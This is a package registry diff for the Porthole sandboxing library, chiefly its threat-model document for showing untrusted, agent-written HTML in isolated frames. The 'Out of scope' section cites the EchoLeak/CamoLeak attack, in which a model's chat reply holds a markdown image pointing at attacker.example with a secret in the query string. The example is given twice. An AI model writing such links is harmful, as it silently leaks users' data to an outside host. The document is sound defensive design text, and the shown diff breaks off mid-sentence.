@botiverse/porthole 0.15.3 → 0.16.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (118) hide show
  1. package/CHANGELOG.md +70 -0
  2. package/dist/annotate/types.d.ts +15 -1
  3. package/dist/annotate/validate.js +19 -1
  4. package/dist/bridge/bridge.d.ts +1 -8
  5. package/dist/bridge/bridge.js +0 -7
  6. package/dist/bridge/types.d.ts +1 -1
  7. package/dist/check/page-source.js +1 -1
  8. package/dist/check/page.js +1 -1
  9. package/dist/compile/policy.d.ts +0 -7
  10. package/dist/compile/policy.js +1 -10
  11. package/dist/config/capabilities.d.ts +8 -14
  12. package/dist/config/capabilities.js +4 -5
  13. package/dist/config/schema.d.ts +2 -13
  14. package/dist/config/validate.js +0 -24
  15. package/dist/conformance/behavior.js +26 -37
  16. package/dist/conformance/clipboard.js +47 -1
  17. package/dist/conformance/harness-source.js +1 -1
  18. package/dist/displays/displays.js +1 -3
  19. package/dist/guide/limits.js +1 -1
  20. package/dist/guide/runtime.js +1 -1
  21. package/dist/host/create-host.d.ts +1 -1
  22. package/dist/host/create-host.js +8 -52
  23. package/dist/host/door.d.ts +1 -1
  24. package/dist/host/locate.d.ts +1 -1
  25. package/dist/host/locate.js +2 -2
  26. package/dist/host/outcome.d.ts +5 -12
  27. package/dist/host/outcome.js +8 -16
  28. package/dist/host/types.d.ts +6 -22
  29. package/dist/index.d.ts +2 -4
  30. package/dist/index.js +2 -4
  31. package/dist/isolation/served.d.ts +4 -14
  32. package/dist/isolation/served.js +7 -28
  33. package/dist/isolation/types.d.ts +2 -25
  34. package/dist/isolation/types.js +0 -23
  35. package/dist/platform/focus-field.d.ts +11 -0
  36. package/dist/platform/focus-field.js +18 -0
  37. package/dist/platform/types.d.ts +7 -23
  38. package/dist/platform/web.js +8 -106
  39. package/dist/presets/presets.d.ts +0 -2
  40. package/dist/presets/presets.js +0 -1
  41. package/dist/react/frame.d.ts +0 -8
  42. package/dist/react/frame.js +0 -4
  43. package/dist/runtime/contract.d.ts +2 -2
  44. package/dist/runtime/contract.js +2 -2
  45. package/dist/runtime/types.generated.js +6 -6
  46. package/dist/server/files.js +7 -23
  47. package/dist/server/host.d.ts +1 -1
  48. package/dist/server/index.d.ts +1 -1
  49. package/dist/server/index.js +4 -6
  50. package/dist/server/naming.js +1 -1
  51. package/dist/server/server.js +28 -166
  52. package/dist/server/types.d.ts +7 -7
  53. package/dist/shell/annotate.d.ts +3 -0
  54. package/dist/shell/annotate.js +15 -5
  55. package/dist/shell/plan.d.ts +0 -5
  56. package/dist/shell/plan.js +2 -4
  57. package/dist/shell/runtime.js +1 -268
  58. package/docs/ADOPTING.md +398 -1081
  59. package/docs/DECISIONS.md +172 -10
  60. package/docs/DESIGN.md +1114 -1388
  61. package/docs/PRINCIPLES.md +85 -1
  62. package/docs/THREAT_MODEL.md +658 -1127
  63. package/package.json +1 -1
  64. package/src/annotate/types.ts +12 -1
  65. package/src/annotate/validate.ts +23 -1
  66. package/src/bridge/bridge.ts +1 -17
  67. package/src/bridge/types.ts +1 -1
  68. package/src/check/page.ts +1 -1
  69. package/src/compile/policy.ts +1 -11
  70. package/src/config/capabilities.ts +8 -14
  71. package/src/config/schema.ts +2 -13
  72. package/src/config/validate.ts +0 -28
  73. package/src/conformance/behavior.ts +50 -52
  74. package/src/conformance/clipboard.ts +56 -1
  75. package/src/displays/displays.ts +1 -3
  76. package/src/guide/limits.ts +1 -1
  77. package/src/guide/runtime.ts +1 -1
  78. package/src/host/create-host.ts +8 -53
  79. package/src/host/door.ts +1 -1
  80. package/src/host/locate.ts +2 -2
  81. package/src/host/outcome.ts +8 -21
  82. package/src/host/types.ts +6 -20
  83. package/src/index.ts +2 -4
  84. package/src/isolation/served.ts +6 -34
  85. package/src/isolation/types.ts +2 -31
  86. package/src/platform/focus-field.ts +18 -0
  87. package/src/platform/types.ts +7 -22
  88. package/src/platform/web.ts +8 -129
  89. package/src/presets/presets.ts +0 -3
  90. package/src/react/frame.tsx +0 -10
  91. package/src/runtime/contract.ts +4 -4
  92. package/src/runtime/types.generated.ts +6 -6
  93. package/src/server/files.ts +4 -19
  94. package/src/server/host.ts +1 -1
  95. package/src/server/index.ts +4 -16
  96. package/src/server/naming.ts +1 -1
  97. package/src/server/server.ts +29 -189
  98. package/src/server/types.ts +7 -7
  99. package/src/shell/annotate.ts +15 -5
  100. package/src/shell/plan.ts +2 -9
  101. package/src/shell/runtime.ts +1 -268
  102. package/types/runtime/v1/artifact.d.ts +2 -3
  103. package/types/runtime/v1/assets.d.ts +1 -1
  104. package/types/runtime/v1/chat.d.ts +2 -2
  105. package/types/runtime/v1/comments.d.ts +1 -1
  106. package/types/runtime/v1/downloads.d.ts +2 -2
  107. package/types/runtime/v1/links.d.ts +2 -2
  108. package/dist/platform/focus-guard.d.ts +0 -288
  109. package/dist/platform/focus-guard.js +0 -838
  110. package/dist/server/nested.d.ts +0 -66
  111. package/dist/server/nested.js +0 -121
  112. package/dist/shell/frame.d.ts +0 -28
  113. package/dist/shell/frame.js +0 -407
  114. package/docs/ARCHITECTURE.md +0 -359
  115. package/docs/OBJECTIVES.md +0 -116
  116. package/src/platform/focus-guard.ts +0 -1114
  117. package/src/server/nested.ts +0 -157
  118. package/src/shell/frame.ts +0 -444
@@ -1,109 +1,26 @@
1
1
  # Threat model
2
2
 
3
- What Porthole protects, from whom, and where that protection ends. For each way of using it
4
- (S1–S7), it says what Porthole guarantees, what the host must do itself, and what is not
5
- guaranteed. [ADOPTING.md](ADOPTING.md) says how to set each one up, and
6
- [DESIGN.md](DESIGN.md) lists every defense with the test that proves it.
7
-
8
- **Status.** This describes Porthole 0.15.3 (2026-11-11). A review on 2026-10-19 found gaps, and every decision it led to
9
- has merged ([§8](#8-fixes-in-flight) lists them). P096 changed the negative-control runner and CI,
10
- and the shipped conformance probes' messages and timing, not what they check. P104 (0.9.0's
11
- annotation markers) had a review of its own, and P105, in 0.10.0, is what it led to. 0.11.0 was
12
- never published (its release stopped at the CI gate), and 0.12.0 carries all of it: draft marks
13
- (P107, §7 "Drafts": what a page learns from them and who may receive them), an advisory lint
14
- (P106, no change to isolation), and `comments.open` with a draft (P108, §7: the host's duties
15
- around it). The review of 0.12.0's drafts led to P109, in 0.13.0: a display can take the keyboard, which
16
- `createHost` now gives back (§6, §7 "The keyboard"); `comments.open` needs the person in the
17
- calling frame; a page's draft text is stricter, and the composer it fills is the person's to act
18
- on (§7). 0.13.0 also makes P106's lint fail soft and read only what it may (P110, no change to
19
- isolation). 0.14.0 adds a nested page (P111, `nested: true`, S3): the framed address is Porthole's
20
- shell alone and the page its opaque child, so a realm the page can't reach tells the host when the
21
- person, not the page, pressed in it (§7 "The keyboard", `comments`); and P112's annotation
22
- additions for a host's comment modes (hints, as every report is, §7). 0.14.1: P114
23
- (porthole#56) serves a nested page's shell on a label of its own, on which nothing but nested
24
- pages' shells, their pages, those pages' files and status pages is ever served, so no other
25
- display of the scope is same-origin with the shell (S3). 0.14.8: P128 lets a host opt a config
26
- into a page's own nested frames (`nestedFrames: "own"`, off by default): its `srcdoc` frames and
27
- frames of its own files load and run, in realms the shell's hardening never reaches (WebRTC, the
28
- clipboard's guards: S1, S3); frames of other sites stay out. 0.14.9: P131 adds find
29
- in page (`find`, off unless a config declares it): the host's find bar sends the person's query
30
- into the frame, where the content can read it, and takes counts, a box and the find shortcut back
31
- as the content's word (§6, §7 "Find in page"); no wall moves. 0.14.10: P132 adds a mark's place in
32
- the document and the document's scroll to annotation reports, unclamped, so a host must clip what it
33
- draws from them to its own region (§6, §7); `rect` stays clamped and no wall moves. 0.14.11: P133
34
- makes markers buttons in the frame's Tab order, reversing P104's "no tab stop": the page shares that
35
- order, so it can steer or spoil the focus, and a host keeps its own list of marks (§7). A press only
36
- reports `activated`, which the page could already fake; `lastLineDocumentRect` is unclamped, for a
37
- host to clip as P132's are; no wall moves. 0.14.12: P134 adds `annotations.focusMark(id)`, the host's
38
- word to put the keyboard back on a marker, and a second exception to "takes no focus" whose conditions
39
- are the host's own (§6, §7); no wall moves. 0.14.13: P135 drops a `focusMark` that had to wait unless the focus is
40
- in the frame's document by then; a call on a calm page is unchanged. 0.14.14: P136 brings `display.focus()`
41
- through a nested page's shell with a new host-to-shell word no page can say; P137 applies P135's check to a
42
- word 100 ms old or more; no wall moves. 0.14.15: P138 lets the host follow the current selection
43
- (`selectionTracked`, the same boxes as `tracked`, on its budget, only while asked) and keeps what was
44
- picked lit; no wall moves. 0.14.16: P139 has a shell on a tab of its own ask no host; P140 narrows P138: a pick stays lit, and a
45
- selection is kept in the frame, only for a host that follows the selection (`keepSelection`), and a
46
- host that follows none drops `selectionTracked` unread (§7). 0.14.17: P141 lets a host name the
47
- origins of an outer page that frames its app (`framedBy`): each may be an ancestor of every frame,
48
- above the host's own page, so it is in every `frame-ancestors`, and nowhere else; it is never a
49
- host a frame hears or tells, and a page's `*` fallback is held to a parent named as a host origin
50
- (§6 "What every host must do", S3). 0.14.18: P142 keeps a set's pages and links within a page from
51
- starting the display again where there is no Navigation API, and where WebKit fires a frame's load
52
- for a link within its document: the arriving page's notice is sent without the API, and a page
53
- says it stayed; no wall moves, and the limit without the API is P079's, unchanged. 0.15.0: P143
54
- lets a host that opts in (`embeds`) mint an embed grant: a public artifact page's answers say
55
- `frame-ancestors *` for that session alone, and the page has no host: it hears no one, tells no
56
- parent anything, and no capability, runtime host function or door is there (S4, §8). P144, after
57
- Ferryman's audit of 0.14.17 and 0.14.18 (no P0, no new egress), amends P141: without `framedBy`
58
- every header (every `frame-ancestors` and `script-src` hash) and the status, entry and door pages'
59
- scripts and the nested page's shell are 0.14.16's again, byte for byte (0.14.17 had changed their
60
- hashes, not what they do); the shell runtime every served document inlines is not (P142's
61
- changes, and P143's `hostless` branches, inert where a plan names a host; no hash covers it: P145);
62
- in the nesting P141 is for (the outer page, then the app's page, then content), content can message
63
- the outer page and every frame in its tree and learn its origin, so the outer page must check every
64
- message it takes, and S7's egress rule covers its frames (§6 "What every host must do", S7); and
65
- `framedBy` is compared with the host origins as browsers serialize origins (`https://a.example:443`
66
- is `https://a.example`).
67
- 0.15.1: P145, after Ferryman's audit of 0.15.0 (no P0, no escape, no new egress), amends P143 and
68
- P144: their "byte for byte" is said as it holds (above); the host kit refuses an `access` answer
69
- with `embed`, so a reader's issue endpoint never mints an embed session (S4); an embed page learns
70
- where it is embedded (S4); and a host origin's or `framedBy`'s port is 1 to 65535, without a
71
- leading zero, and its host as the URL parser gives it. No wall moves.
72
- 0.15.2: P147, annotations' marks ride the document's scroll: the boxes of the shell's layer are
73
- placed down the document and moved by a scroll-driven animation in the layer's closed shadow root,
74
- so they no longer trail the text for the frames before the scroll event is heard. No message and
75
- no reading is added (the scroll offset was read already, P132), and the layer still adds nothing to
76
- what a page can scroll. No wall moves.
77
- 0.15.3: P148, a nested page's real presses: the page's runtime tells its shell each press the
78
- browser itself made (a mouse down, a finger up, Enter or Space on a native control, a click on
79
- one), over a `MessagePort` the shell sends at each load and the runtime takes before any content
80
- runs; the shell tells the host when it heard the last, and the host takes it as it takes the
81
- shell's activation turning on (§7 "The keyboard"). It gives back what P111 accepted as a loss: a
82
- press in the page within 5 s of the last gesture. It rests on the runtime's lock on
83
- `document.open` and on a nested page's frames being opaque, and is not installed where either
84
- fails. The nested shell's script and the served shell runtime change (their pins, P144 and P145).
85
- Also in 0.15.3, after the audit of 0.15.1: the four helpers a content Worker of a host's own calls
86
- with host origins (`statusPage`, `doorResponse`, `doorStatusResponse`, `nestedShellCsp`) check
87
- each one and throw on a bad one, as P145 said they did; the origins are the host's own
88
- configuration, never content's.
3
+ What Porthole protects, from whom, and where that protection ends. For each use (S1–S7): what
4
+ Porthole guarantees, what the host must do, what is not guaranteed. Setup:
5
+ [ADOPTING.md](ADOPTING.md). How each defense works and which test proves it: [DESIGN.md](DESIGN.md).
89
6
 
90
- ## 1. Two layers
7
+ **Status.** This describes the latest release. Changes: [CHANGELOG.md](../CHANGELOG.md); reasons:
8
+ [DECISIONS.md](DECISIONS.md).
91
9
 
92
- Porthole has two layers, and most hosts need only the first.
10
+ ## 1. Two layers
93
11
 
94
- - **The display layer** shows untrusted HTML. It puts the content on an origin that isn't the
95
- host's, closes its network, runs a shell in its frame, gates the few host functions the content
96
- may call (send a prompt, open a link, copy text, read the host's data), and writes the agent's
97
- manual, all from one config. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
12
+ - **The display layer** shows untrusted HTML; most hosts need only this. From one config it puts
13
+ content on an origin that isn't the host's, closes its network, runs a shell in its frame, gates
14
+ the few host functions content may call (send a prompt, open a link, copy text, read the host's
15
+ data), and writes the agent's manual. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
98
16
  `url`.
99
- - **The app runtime** is optional, and off unless a config sets `runtime: "1"`. It lets a page be
100
- a small app: through `porthole.use(name)` it reaches the host's services (`user`, `comments`,
101
- `artifact`, `assets`, `db`) for what it declared and what its viewer's level allows. It brings
102
- the host's backend into the picture: who may call what, per version, revocation, and each
103
- person's data.
17
+ - **The app runtime**, off unless a config sets `runtime: "1"`, lets a page reach the host's
18
+ services through `porthole.use(name)` (`user`, `comments`, `artifact`, `assets`, `db`), as far as
19
+ its declaration and its viewer's level allow. It brings in the host's backend: who may call what,
20
+ per version, revocation, each person's data. A host that only shows content can skip it, and this
21
+ document's parts about it.
104
22
 
105
- A host that only shows content can skip the app runtime, and the parts of this document about it.
106
- [§7](#7-the-display-layer-and-the-app-runtime) says what each layer guarantees.
23
+ What each layer guarantees: [§7](#7-the-display-layer-and-the-app-runtime).
107
24
 
108
25
  ## 2. What is protected
109
26
 
@@ -125,89 +42,80 @@ A host that only shows content can skip the app runtime, and the parts of this d
125
42
  | (d) | The app being previewed | an app on a content origin (url mode) | S6 |
126
43
  | (e) | Other content on the same page | a sibling frame | S7, and S2 |
127
44
 
128
- The agent is itself a trust boundary. What it writes is untrusted, and a library it loads from an
129
- allowed CDN is no more trusted than its own code: the manual's advice to pin exact versions helps
130
- the agent, but it is not a wall.
45
+ The agent is itself a trust boundary: what it writes is untrusted, and so is a library it loads from
46
+ an allowed CDN. The manual's advice to pin exact versions helps the agent; it is not a wall.
131
47
 
132
48
  ## 4. Two lines of defense
133
49
 
134
- 1. **Against attacks on the host: origin isolation.** Content runs on an origin that is never the
135
- host's: an opaque one (a `srcdoc` frame with `sandbox="allow-scripts"` and nothing else), or
136
- one of its own on a separate registrable domain (served pages). Same-origin policy then denies
137
- it the host's DOM, storage, cookies and credentials, and nothing secret of the host's is sent
138
- into the frame.
139
- 2. **Against leaking and deceiving: closed egress, gates, and approvals outside the frame.**
140
- Isolation doesn't stop content from sending out what it was given, or from drawing a fake. So:
141
- - its network is closed by default: the frame's CSP, the shell's defenses for channels a CSP
142
- doesn't cover (WebRTC, nested frames, resource hints), and the embedding page's `frame-src`
143
- against the frame navigating itself away. A host that opts into a page's own frames
144
- (`nestedFrames: "own"`, P128) gives up the shell's defenses inside them: there, the CSP alone
145
- closes the network;
146
- - everything beyond drawing is a host function the config declares, behind gates: a user
147
- gesture, a person's confirmation, consent, a rate;
148
- - the host draws its confirmations and consent outside the frame, where content can't draw over
149
- them;
150
- - the host's fallback for a frame that showed nothing ("open this in a new tab to sign in",
151
- "you no longer have access", with a link) is drawn from Porthole's pages' word only, never
152
- from what the content says (P124, P125; a url-mode app aside, S6). For a served display that
153
- isn't nested — where a same-scope sibling could otherwise speak for it ([§7](#the-display-layer)) —
154
- that word comes from a **door**: a page of Porthole's on the display's origin, in a hidden
155
- opaque frame of the host's that no content can reach, taken before the content is framed. The
156
- content frame's own word is then never taken, and its silence is a timeout, never a fallback.
157
-
158
- The app runtime adds a third: **the host's API is the wall for its data.** The bridge refuses a
159
- call the page didn't declare (`undeclared`), or that the viewer's level doesn't allow, before any
160
- handler runs. The names a page declares in `data` hold with a viewer and without one (P094). The
161
- host's API checks again, since a call that reaches the API some other way can claim any
162
- viewer and any declaration.
163
-
164
- The leak suite attempts each channel in DESIGN.md's table from inside the content, on Chromium,
165
- WebKit and Firefox, and most defenses have a negative control that takes the defense out to show
166
- its probes then fail (DESIGN.md § "Egress hardening, each with its test"). CI runs every negative
167
- control on all three engines on the commit of every release (P146: the release's gate requires
168
- that run; a pull request's CI runs the suite on Chromium, with no control), and a control passes
169
- only when its marked probes failed by their own assertion (P096).
50
+ 1. **Origin isolation, against attacks on the host.** Content runs on an origin never the host's: an
51
+ opaque one (a `srcdoc` frame, `sandbox="allow-scripts"` and nothing else) or its own on a
52
+ separate registrable domain (served pages). Same-origin policy denies it the host's DOM, storage,
53
+ cookies and credentials; nothing secret of the host's is sent into the frame.
54
+ 2. **Against leaking and deceiving**, which isolation doesn't stop:
55
+ - *Closed egress* by default: the frame's CSP; the shell's defenses where a CSP doesn't reach
56
+ (WebRTC, nested frames, resource hints); the embedding page's `frame-src` against the frame
57
+ navigating itself away. In a page's own frames (`nestedFrames: "own"`, P128, the host's opt-in)
58
+ the shell's defenses don't run, and the CSP alone closes the network.
59
+ - *Gates*: everything beyond drawing is a host function the config declares, behind a user
60
+ gesture, a person's confirmation, consent or a rate.
61
+ - *Approvals outside the frame*: the host draws confirmations and consent where content can't
62
+ draw over them.
63
+ - *Fallbacks on Porthole's word only*: the host's fallback for a frame that showed nothing (a
64
+ sign-in prompt or "you no longer have access", with a link) comes from Porthole's pages, never
65
+ from content (P124, P125; url-mode apps aside, S6). A served display speaks only through its
66
+ **door**, a page of Porthole's in a hidden frame no content can reach
67
+ ([§7](#the-display-layer)).
68
+
69
+ The app runtime adds a third: **the host's API is the wall for its data.** Before any handler runs,
70
+ the bridge refuses a call the page didn't declare (`undeclared`) or the viewer's level doesn't
71
+ allow; the names a page declares in `data` hold with or without a viewer (P094). The host's API
72
+ checks again: a call reaching it another way can claim any viewer and any declaration.
73
+
74
+ **Tests** (DESIGN.md § "Egress hardening, each with its test"). The leak suite attempts each channel
75
+ from inside the content on Chromium, WebKit and Firefox. Most defenses have a negative control that
76
+ removes the defense to show its probes then fail; a control passes only when its marked probes
77
+ failed by their own assertion (P096). A release's gate needs every negative control to pass on all
78
+ three engines on its commit (P146). A pull request's CI runs the suite on Chromium, with no control.
170
79
 
171
80
  ## 5. Out of scope
172
81
 
173
82
  Porthole does not protect against these.
174
83
 
175
84
  - **Availability in the viewer's browser.** Content can loop, allocate without bound, or fill the
176
- content domain's cookies. Porthole has no watchdog: nothing but the load timeout watches a
177
- frame, nothing unloads a frame that stops answering, and nothing limits its CPU or memory. An
178
- opaque frame may share the host page's process (the browser decides), so a loop in it can stall
179
- the host's tab; a served frame is on another site, which browsers with site isolation put in a
180
- process of its own. In scope, by contrast: a page or a request that can crash the host's server,
181
- and a message from content that makes the host's page do unbounded work (SECURITY.md). Through
182
- Porthole's Node adapter no request ends the process, and on any runtime the issue endpoint reads
183
- at most 64 KiB of a body (P092). What content sends is read after its gate, into bounded text,
184
- and nothing it sends throws out of an adapter (P095).
185
- - **Browser bugs, and what the leak suite doesn't run on.** The walls are the browser's own (the
186
- sandbox, CSP, same-origin policy, site isolation): a bug in them is outside Porthole. The suite
187
- runs Chromium, WebKit and Firefox through Playwright; other engines, versions and embedded
188
- WebViews are untested. Side channels (timing, Spectre-class) are out too: an opaque frame that
189
- may share the host's process can learn about it that way; domain mode puts content on another
190
- site, which browsers with site isolation give its own process.
191
- - **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a model's
192
- reply holds `![](https://attacker.example/?q=<secret>)` and the chat loads it). That is the
193
- chat's own rendering of model text. Porthole's walls apply to HTML handed to a display.
194
- - **Deceptive content.** Content may draw anything in its frame, a fake sign-in form included.
195
- Porthole limits where what is typed into it can go and keeps the host's approvals outside the
196
- frame; it doesn't judge what content shows.
197
- - **A display taking the keyboard** (accepted risk, P123). Content can move focus into its frame
198
- (`focus()` and the like) while the person types in the host's page, and receive the keys typed
199
- after it. Porthole's guard takes the keyboard back and stops a display that keeps taking it, but
200
- only as best effort (§7 "The keyboard"): on a nested page it doesn't cover typing slower than one
201
- key per 250 ms, which is most people, phones included. Browsers give a host no way to prevent it,
202
- and the person sees their text stop appearing. The walls that hold regardless: content can't read
203
- the host's page, its storage or another display, and a nested page's sealed address stays in a
204
- shell no content shares.
205
- - **Wrong results.** A chart can plot the wrong numbers, and a report can say false things.
85
+ content domain's cookies. There is no watchdog: only the load timeout watches a frame; nothing
86
+ unloads one that stops answering or limits its CPU or memory. An opaque frame may share the host
87
+ page's process (the browser decides), so its loop can stall the host's tab; a served frame is on
88
+ another site, which site isolation puts in its own process. In scope (SECURITY.md): a page or
89
+ request that can crash the host's server, and a message from content that makes the host's page do
90
+ unbounded work. Through Porthole's Node adapter no request ends the process; on any runtime the
91
+ issue endpoint reads at most 64 KiB of a body (P092). What content sends is read after its gate,
92
+ into bounded text, and none of it throws out of an adapter (P095).
93
+ - **Browser bugs, and engines the leak suite doesn't run.** The walls are the browser's own
94
+ (sandbox, CSP, same-origin policy, site isolation). The suite runs Chromium, WebKit and Firefox
95
+ through Playwright; other engines, versions and embedded WebViews are untested. Side channels
96
+ (timing, Spectre-class) are out too: an opaque frame sharing the host's process can learn about it
97
+ that way; domain mode puts content on another site, in its own process under site isolation.
98
+ - **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a reply holds
99
+ `![](https://attacker.example/?q=<secret>)` and the chat loads it). That is the chat rendering
100
+ model text; Porthole's walls cover HTML handed to a display.
101
+ - **Deceptive content**, a fake sign-in form included. Porthole limits where what is typed into it
102
+ can go and keeps the host's approvals outside the frame; it doesn't judge what content shows.
103
+ - **A display taking the keyboard** (accepted risk, P123, P149): content can move focus into its
104
+ frame and get the keys typed after that, until the person clicks back. Porthole has no guard; why,
105
+ and what holds: §7 "The keyboard".
106
+ - **A page asking at a moment it picks** (accepted risk, P149). Only `copyText` asks proof of a
107
+ click: a page can call `sendPrompt`, `openLink`, `downloadFile`, `comments.open`,
108
+ `artifact.publish` or `assets.delete` as it loads or on a timer. Each still ends at the person (a
109
+ confirmation with the whole effect, or a composer that posts nothing by itself), within a rate,
110
+ and declines mute the display: the cost is an interruption, which the host may refuse or space
111
+ out. A click check proved little (any click on the host's page in the last 5 s passed it) and
112
+ refused real clicks where the engine didn't pass the activation up.
113
+ - **Wrong results**: a chart with wrong numbers, a report saying false things.
206
114
  - **Malicious prompts.** A gated `sendPrompt` hands the host's confirm function the whole text (the
207
- default dialog shows all of it); whether that text is hostile is not Porthole's call. Nor is text
208
- content puts in the model's context (S5).
209
- - **The sense of a confirmed action.** A confirmation is given the call and its arguments. Whether
210
- doing it is wise is the person's decision, and what the host's handler then does is the host's.
115
+ default dialog shows all of it); whether it is hostile is not Porthole's call, nor is text content
116
+ puts in the model's context (S5).
117
+ - **The sense of a confirmed action.** A confirmation gets the call and its arguments. Whether it is
118
+ wise is the person's decision; what the handler does is the host's.
211
119
 
212
120
  ## 6. Scenarios
213
121
 
@@ -223,449 +131,349 @@ Porthole does not protect against these.
223
131
 
224
132
  ### What every host must do
225
133
 
226
- Whatever the use:
134
+ Whatever the use (how to wire each: [ADOPTING.md](ADOPTING.md)):
227
135
 
228
- - Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that shows displays, and
229
- run `defineHostConformance` against the real page in CI (S1 says why).
230
- - Keep the default gates. A capability's `gates` in a config replace its defaults whole, even
136
+ - **The page's CSP.** Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that
137
+ shows displays, and run `defineHostConformance` against the real page in CI (why: S1).
138
+ - **Gates.** Keep the defaults. A capability's `gates` in a config replace its defaults whole, even
231
139
  `[]`; a preset's `options.capabilities` entry replaces the preset's whole entry, gates included
232
140
  (`liveWidget({ capabilities: { readData: {} } })` drops its consent).
233
- - Give the confirmations and the consent it draws itself the default dialog's protections: drawn
234
- on the host's page outside every frame, showing the call's whole effect, Cancel focused, and the
235
- accept button ignoring presses for 500 ms after it opens, so a click meant for the content can't
236
- land on it. The React binding's dialog does all of this for confirmations; consent is always the
237
- host's own UI. A copy notice of its own shows what went on the clipboard (S1).
238
- - Show the text content reports (its errors, a blocked navigation's address, an annotation's
239
- quoted text) only as text, never as HTML.
240
- - Draw a frame's fallback (what `frameFallback` words, or your own) from its `outcome` alone, never
241
- from a message of your own reading off the frame's window: a `blocked` outcome is the word of a
242
- page of Porthole's server, a gateway or your own pages, never of an opaque frame or of content in
243
- a frame that speaks (P124, P125). For a served display that isn't nested, that word is its
244
- **door**'s (a page of Porthole's on the display's origin, framed hidden and opaque before the
245
- content, which a same-scope sibling can't reach, P125); its content frame's own word is never
246
- taken, and its silence is a `timeout`. A `blocked` before any frame (`sign-in`, `denied`,
247
- `not-found`) is your own issue endpoint's refusal, mapped by `createHost` (P125): its word is
248
- your backend's, so what it says is as trustworthy as that endpoint. Hear the `frame-status` host
249
- error as a display trying to speak as Porthole, and the `door` host error as a served display
250
- refused for having no door (an out-of-date server, a locator that drops it, or a clean address
251
- framed as it is: upgrade the server/Worker first, resolve clean addresses through issue, P125):
252
- log them, show nothing for them. A url-mode app can still say any outcome (S6).
253
- - Take what the frame reports about annotations as UI hints (where to draw, what to open), never
254
- as permissions, and put nothing in a mark the page may not know (§7). A mark's place in the
255
- document (`documentRect`, with the report's `scroll`, P132) and its last line's
256
- (`lastLineDocumentRect`, P133) aren't clamped to the frame: clip whatever you draw from them to
257
- the frame's box, or to your own region beside the frame.
258
- - Under `find` (P131), know that the page reads every query your find bar sends it, and declare
259
- `find` only for displays whose pages may learn what the person searches for (not a third-party
260
- app with egress, S5, unless you accept it). Take its counts as the bar's numbers, and open your
261
- bar on `findRequested`, nothing more (§7 "Find in page").
262
- - Guard a view that a frame's report opens or moves (`activated`, `anchored`, `selected`,
263
- `tracked`, `selectionTracked`: a comment's bubble, a composer, a card that follows its mark, a
264
- composer that follows the selection (P138), which the page moves at will, up to 60 times a
265
- second, and hides and shows again with `inView`). The content chooses when it appears and where, so it can bring it
266
- under a press the person meant for the content (a double click on the content's own button whose
267
- second click lands on the bubble's). Such a view takes no press of any kind for 500 ms after it
268
- appears or moves (not a `click` only: menu triggers act on `pointerdown`, and menu items click
269
- themselves on a release), ignores a press that began before that, opens beside the frame rather
270
- than over the report's box where the layout allows, takes no focus when it opens, and puts
271
- nothing one click away that posts, submits, resolves, deletes or discards (a draft's view, P107,
272
- included: no "Post" or "Submit review" in it). Its menus and popovers are part of it, portaled
273
- ones too (P105; ADOPTING.md § Annotations has the code: the view `inert` while it arms).
274
- One exception to "takes no focus" (P112): in a comment mode the person started themselves (the
275
- host's own control, never a report), a composer their selection opens (`selected`) may take
276
- focus, with `focusField`, if all it can do is save a draft: nothing in it posts, submits or sends,
277
- Enter in it only adds the draft to the batch (submitting is only ever the host's own "Submit N"
278
- control, outside the composer), it shows plainly that it is a draft (so the person can see where
279
- their keys are going), and the rest of this guard holds (no press for 500 ms, beside the frame). The page still chooses
280
- when `selected` comes, so what it can do with that moment is put the person's next keys into a
281
- draft they see and can discard, never send one; outside such a mode, or for a composer that can
282
- send, it takes no focus.
283
- A second exception (P134): a host may move focus into a view a report opened if all of these hold:
284
- it reads its own page's `document.activeElement` and that is this frame; the focus goes only to a
285
- container that takes no input (`tabindex="-1"`), never a field or a button; and every control in
286
- that view that can write has the host's own gate, so that a forged opening and the keys right after
287
- it can't submit. The gate covers keys as well as controls: with the focus in that view the person's
288
- next keys reach the host's document, so the view's own key handlers and the host's page-wide
289
- shortcuts that write (an `r` that resolves, Cmd+Enter that posts) need it too (P137). That's the
290
- host's duty: Porthole doesn't guarantee it.
291
- - Know that a display can take the keyboard: a page calls `focus()` on its own input whenever it
292
- likes (on Chromium and WebKit with no gesture), and what the person goes on typing goes to it.
293
- `createHost` (every `PortholeView` too) gives focus back when it leaves one of the page's text
294
- fields for a frame without the person's press on the frame or a Tab, tells the display
295
- (`focusTaken`), and stops a display that keeps doing it (§7 "The keyboard", P109). Move focus
296
- into a display yourself with `display.focus()`, never the frame's own `focus()`; move it into
297
- your composer with `focusField(field)`, not the field's own `focus()` (Firefox ignores that while
298
- a fighting frame holds focus); and with a platform of your own, implement its focus guard
299
- (`focused`, `onFocusTaken`, `focus`) or accept that a display can read what is typed beside it.
300
- - Call `annotations.focusMark(id)` only as the person's key closes your view of that mark, and know
301
- it can be dropped (P135, P137): one that has to wait while the frame finds its marks, or that the
302
- frame takes more than 100 ms after you sent it because its page is busy, lands only if the focus
303
- is in the frame by then, and in the normal flow it is on your `<body>`. Nothing says so. If
304
- the focus is still on your body a moment later, the person hasn't moved on: `display.focus()`,
305
- then `focusMark(id)` again. Look first: that move is yours, the focus guard doesn't judge it, and
306
- a move after the person went on to a button of yours takes the keyboard from them. On a nested
307
- page, use `display.focus()`: it tells the page's shell to pass the focus on (P136), and the frame's
308
- own `focus()` stops at the shell, so a word that waits is dropped even after it. On Firefox,
309
- `display.focus()` inside a key's own handler moves nothing: call it from a task (measured on a
310
- nested page). Nothing leaks either way: the keyboard stays out of the page.
311
- - List every app origin in `appOrigins` (`hostOrigins` in `/server`): only those may frame content,
312
- only those are a frame's host (heard and told), and only those are checked against the content
313
- domain for a shared site.
314
- - Where another app frames yours (P141), name its origins in `framedBy`, never in `appOrigins`: it
315
- may then be an ancestor of your frames, above your own page, and is never their host. Your page
316
- must still be the frame's parent: an outer page that frames content directly (with an address it
317
- got from somewhere) is let in by the browser, but the frame takes nothing from it (no handshake,
318
- no host function), Porthole's own pages and a nested page's shell tell it nothing, and what it
319
- can hear is the content's own word to its parent (`*`), which it must treat as untrusted. Your
320
